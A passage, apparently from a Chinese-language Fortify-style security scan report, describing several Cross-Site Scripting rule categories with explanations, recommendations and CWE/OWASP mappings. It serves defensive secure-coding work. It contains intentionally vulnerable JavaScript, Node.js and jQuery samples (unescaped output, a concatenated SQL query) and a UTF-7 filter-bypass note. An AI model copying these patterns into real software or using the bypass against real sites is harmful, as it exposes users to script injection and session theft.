	Coordination Center）合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： －“<”是一个特殊字符，因为它可以引入一个标签。 －“&”是一个特殊字符，因为它可以引入一个字符实体。 －“>”是一个特殊字符，之所以某些浏览器将其认定为特殊字符，是基于一种假设，即该页的作者本想在前面添加一个“<”，却错误地将其遗漏了。 下面的这些原则适用于属性值: － 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 － 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 － 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 -“&”与某些特定变量一起使用时是特殊字符，因为它引入了一个字符实体。 例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符: － 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 -“&”是特殊字符，因为它可引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 － 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的“%”符号。例如，当输入中出现“%68%65%6C%6C%6F”时，只有从输入的内容中过滤掉“%”，上述字符串才能在网页上显示为“hello”。 在 <SCRIPT> </SCRIPT> 的正文内: - 如果可以将文本直接插入到已有的脚本标签中，应该过滤掉分号、省略号、中括号和换行符。 服务器端脚本: － 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况: － 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用

返回目录

	过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。 如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CCI-001310, CCI-002754
OWASP2017	A3 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Poor Validation**
默认严重性	2.0
摘要	X（文件） 中的 XXX（方法） 函数会使用 HTML、XML 或其他类型的编码，但这些编码方式并不总是能够防止恶意代码访问 Web 浏览器。依靠 HTML、XML 和其他类型的编码来验证用户输入可能会导致浏览器执行恶意代码。

解释	使用特定编码函数能避免一部分 Cross-Site Scripting 攻击，但不能完全避免。根据数据出现的上下文，除 HTML 编码的基本字符 <、>、& 和 " 以及 XML 编码的字符 <、>、&、" 和 ' 之外，其他字符可能具有元意。依靠此类编码函数等同于用一个安全性较差的拒绝列表来防止 cross-site scripting 攻击，并且可能允许攻击者注入恶意代码，并在浏览器中加以执行。由于不可能始终准确地确定静态显示数据的上下文，因此即便进行了编码，Fortify 安全编码规则包仍会报告 Cross-Site Scripting 结果，并将其显示为 Cross-Site Scripting: Poor Validation 问题。
	Cross-Site Scripting (XSS) 漏洞在以下情况下发生：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于基于 DOM 的 XSS，将从 URL 参数或浏览器中的其他值读取数据，并使用客户端代码将其重新写入该页面。对于 Reflected XSS，不可信赖的数据源通常为 Web 请求，而对于 Persisted（也称为 Stored）XSS，该数据源通常为数据库或其他后端数据存储。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。对于基于 DOM 的 XSS，任何时候当受害人的浏览器解析 HTML 页面时，恶意内容都将作为 DOM（文档对象模型）创建的一部分执行。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 YY（函数） 传送。
	传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。
	示例：下面的 JavaScript 代码片段可从 HTTP 请求中读取雇员 ID eid，对其进行转义并显示给用户。
	<SCRIPT>
	var pos=document.URL.indexOf("eid=")+4;
	document.write(escape(document.URL.substring(pos,document.URL.length)));
	</SCRIPT>
	如果 eid 只包含标准的字母或数字文本，这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码，则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

返回目录

	起初，这个例子似乎是不会轻易遭受攻击的。毕竟，有谁会输入导致恶意代码在自己电脑上运行的 URL 呢？真正的危险在于攻击者会创建恶意的 URL，然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时，他们不知不觉地通过易受攻击的网络应用程序，将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。 正如例子中所显示的，XSS 漏洞是由于 HTTP 响应中包含了未验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种： - 系统从 HTTP 请求中直接读取数据，并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容，而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时，就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是，将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心，攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。当该站点将攻击者的内容反馈给受害者后，便会执行这些内容，接下来会将用户计算机中的各种私密信息（比如可能包含会话信息的 Cookie）传输给攻击者，或者执行其他恶意活动。 — 应用程序将危险数据存储在数据库或其他可信赖的数据存储器中。这些危险数据随后会被回写到应用程序中，并包含在动态内容中。Persistent XSS 盗取发生在如下情况：攻击者将危险内容注入到数据存储器中，且该存储器之后会被读取并包含在动态内容中。从攻击者的角度看，注入恶意内容的最佳位置莫过于一个面向许多用户，尤其是相关用户显示的区域。相关用户通常在应用程序中具备较高的特权，或相互之间交换敏感数据，这些数据对攻击者来说有利用价值。如果某一个用户执行了恶意内容，攻击者就有可能以该用户的名义执行某些需要特权的操作，或者获得该用户个人所有的敏感数据的访问权限。 — 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中，随后这些危险数据被当作可信赖的数据回写到应用程序中，并储存在动态内容中。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。

返回目录

	针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – "<" 是一个特殊字符，因为它可以引入一个标签。 – "&" 是一个特殊字符，因为它可以引入一个字符实体。 – ">" 是一个特殊字符，之所以某些浏览器将其认定为特殊字符，是基于一种假设，即该页的作者本想在前面添加一个 "<"，却错误地将其遗漏了。 下面的这些原则适用于属性值: – 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 – 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 – 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 - "&" 与某些特定变量一起使用时是特殊字符，因为它引入了一个字符实体。 例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符: – 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 - "&" 是特殊字符，因为它可引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 – 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的 "%" 符号。例如，当输入中出现 "%68%65%6C%6C%6F" 时，只有从输入的内容中过滤掉 "%"，上述字符串才能在网页上显示为 "hello"。 在 <SCRIPT> </SCRIPT> 的正文内: - 如果可以将文本直接插入到已有的脚本标签中，应该过滤掉分号、省略号、中括号和换行符。

返回目录

	服务器端脚本： – 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况： – 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。 如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
OWASP2017	A7 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Reflected**
默认严重性	4.0
摘要	X（文件） 中的方法 XXX（方法） 向第 N 行的 Web 浏览器发送非法数据，从而导致浏览器执行恶意代码。向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。

解释	Cross-Site Scripting (XSS) 漏洞在以下情况下发生：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS，不可信赖的数据源通常为 Web 请求，而对于 Persisted（也称为 Stored）XSS，该数据源通常为数据库或其他后端数据存储。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 YY（函数） 传送。
	传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。
	示例 1：以下 Node.js 代码片段会在 HTTP 请求中读取雇员 ID eid，并将其显示给用户。
	var http = require('http');
	var url = require('url');
	...
	function listener(request, response){
	var eid = url.parse(request.url, true)['query']['eid'];
	if (eid !== undefined){
	response.write(' Welcome, ' + eid + '! ');
	}
	...
	}
	...
	http.createServer(listener).listen(8080);
	如果 eid 只包含标准的字母或数字文本，这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码，则 Web 浏览器就会在显示 HTTP 响应时执行该代码。
	起初，这个例子似乎是不会轻易遭受攻击的。毕竟，有谁会输入导致恶意代码在自己电脑上运行的 URL 呢？真正的危险在于攻击者会创建恶意的 URL，然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时，他们不知不觉地通过易

返回目录

	受攻击的网络应用程序，将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
	示例 2：下面的 Node.js 代码片段会根据给定的雇员 ID 查询数据库，并打印相应雇员的姓名。
	var http = require('http');
	...
	function listener(request, response){
	connection.query('SELECT * FROM emp WHERE eid="' + eid + '"',
	function(err, rows){
	if (!err && rows.length > 0){
	response.write(' Welcome, ' + rows[0].name +
	'! ');
	}
	...
	});
	...
	}
	...
	http.createServer(listener).listen(8080);
	如同 Example 1，如果对 name 的值处理得当，该代码就能正常地执行各种功能；如若处理不当，就会对代码的漏洞利用行为无能为力。同样，这段代码看起来似乎危险较小，因为 name 的值是从数据库中读取的，而且这些内容明显是由应用程序管理的。然而，如果 name 的值来自用户提供的数据，数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证，那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS（或 Stored XSS），它极其隐蔽，因为数据存储导致的间接行为会增大辨别威胁的难度，并使多个用户受此攻击影响的可能性提高。XSS 漏洞利用首先会在网站上为访问者提供一个“留言簿”。攻击者会在这些留言簿的条目中嵌入 JavaScript，接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。
	正如例子中所显示的，XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种：
	- 如 Example 1 中所示，系统从 HTTP 请求中直接读取数据，并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容，而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时，就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是，将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心，攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。当该站点将攻击者的内容反馈给受害者后，便会执行这些内容，接下来会将用户计算机中的各种私密信息（比如可能包含会话信息的 Cookie）传输给攻击者，或者执行其他恶意活动。

返回目录

	- 如 Example 2 中所示，应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中，并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用：攻击者将危险内容注入到数据存储中，而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看，注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权，或者可以与敏感数据交互，这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容，攻击者就有可能以该用户的名义执行某些需要特权的操作，或者获得该用户个人敏感数据的访问权。 — 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中，随后这些危险数据被当作可信赖的数据回写到应用程序中，并储存在动态内容中。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R)

返回目录

	Coordination Center）合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – “<”是一个特殊字符，因为它可以引入一个标签。 – “&”是一个特殊字符，因为它可以引入一个字符实体。 – “>”是一个特殊字符，之所以某些浏览器将其认定为特殊字符，是基于一种假设，即该页的作者本想在前面添加一个“<”，却错误地将其遗漏了。 下面的这些原则适用于属性值: – 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 – 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 – 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 -“&”与某些特定变量一起使用时是特殊字符，因为它引入了一个字符实体。 例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符: – 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 -“&”是特殊字符，因为它可引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 – 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的“%”符号。例如，当输入中出现“%68%65%6C%6C%6F”时，只有从输入的内容中过滤掉“%”，上述字符串才能在网页上显示为“hello”。 在 <SCRIPT> </SCRIPT> 的正文内: - 如果可以将文本直接插入到已有的脚本标签中，应该过滤掉分号、省略号、中括号和换行符。 服务器端脚本: – 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况: – 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用

返回目录

	过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。 如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CCI-001310, CCI-002754
OWASP2017	A3 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Self**
默认严重性	2.0
摘要	X（文件） 中的方法 XXX（方法） 向第 N 行的 Web 浏览器发送未经验证的数据，从而导致浏览器执行恶意代码。向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。

解释	Cross-Site Scripting (XSS) 漏洞会在以下情况下发生：
	1.数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Self-XSS，将从文本框或可以通过 DOM 控制的其他值读取数据，并使用客户端代码将其重新写入该页面。
	在这种情况下，数据进入 X（文件） 中第 N 行的 XX（函数） 之中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。对于 Self-XSS，恶意内容都将作为 DOM（文档对象模型）修改的一部分执行。
	在这种情况下，数据通过 Y（文件） 的第 M 行中的 YY（函数） 传送。
	对于 Self-XSS，恶意内容通常采用 JavaScript 代码片段的形式，或者其他任意一种可以被浏览器执行的代码的形式。由于 Self-XSS 主要是对自身进行攻击，因此往往被认为不重要，但在以下情况下，应将其与标准 XSS 缺陷同等对待：
	- 在您的网站上识别到 Cross-Site Request Forgery 漏洞。
	- 社会工程攻击可能诱使用户攻击他们自己的帐户，从而破坏其会话。
	示例 1：考虑使用 HTML 表单：
	<div id="myDiv">
	Employee ID: <input type="text" id="eid">
	
	...
	<button>Show results</button>
	</div>
	<div id="resultsDiv">
	...
	</div>
	下面的 jQuery 代码片段可从文本框中读取雇员 ID，并将其显示给用户。
	$(document).ready(function(){
	$("#myDiv").on("click", "button", function(){
	var eid = $("#eid").val();
	$("resultsDiv").append(eid);
	...
	});
	});

返回目录

	如果文本输入中 ID 为 eid 的雇员 ID 仅包含标准字母数字文本，则这些代码示例可正确运行。如果 eid 中的某个值包含元字符或源代码，则在用户点击该按钮之后，代码将被添加到 DOM 以供浏览器执行。如果攻击者可以诱使用户将恶意内容输入到文本输入，就成了基于 DOM 的 XSS。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻（或在呈现之前（如果基于 DOM））对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – “<”是一个特殊字符，因为它可以引入一个标签。 – “&”是一个特殊字符，因为它可以引入一个字符实体。

返回目录

	-“>”是一个特殊字符，之所以某些浏览器将其视为特殊字符，是基于一种假设，即页面创建者本想在前面添加一个“<”，却错误地将其遗漏了。 下面的这些原则适用于属性值： - 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 - 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 - 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 -“&”与某些特定属性一起使用时是特殊字符，因为它可以引入一个字符实体。 例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以单击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符： - 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 -“&”是特殊字符，因为它可以引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 - 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的 "%" 符号。例如，当输入中出现“%68%65%6C%6C%6F”时，只有从输入的内容中过滤掉“%”，上述字符串才能在网页上显示为“hello”。 在 <SCRIPT> </SCRIPT> 正文中： - 如果可以将文本直接插入到已有的脚本标签中，则应该过滤掉分号、圆括号、花括号和换行符。 服务器端脚本： - 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况： - 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。

返回目录

	如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CCI-001310, CCI-002754
OWASP2017	A3 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:SOP Bypass**
默认严重性	4.0
摘要	在第 X（文件） 行 N 调用 X（函数） 使攻击者能够绕过同源策略 (SOP)，从而使 XSS 攻击成为可能。允许用户输入以控制以下设置：确定可创建 XSS 漏洞的同源策略 (SOP)。

解释	在以下情况下，通过同源策略 (SOP) 绕过发生跨站点脚本 (XSS) 漏洞：
	1.数据通过一个不可信赖的数据源进入 Web 应用程序。
	在这种情况下，数据进入 X（文件） 的第 N 行的 XX（函数）。
	2.数据将传递到一个设置，该设置确定脚本可以运行的页面源，例如 document.domain。
	在这种情况下，数据通过 Y（文件） 的第 M 行中的 YY（函数） 传送。
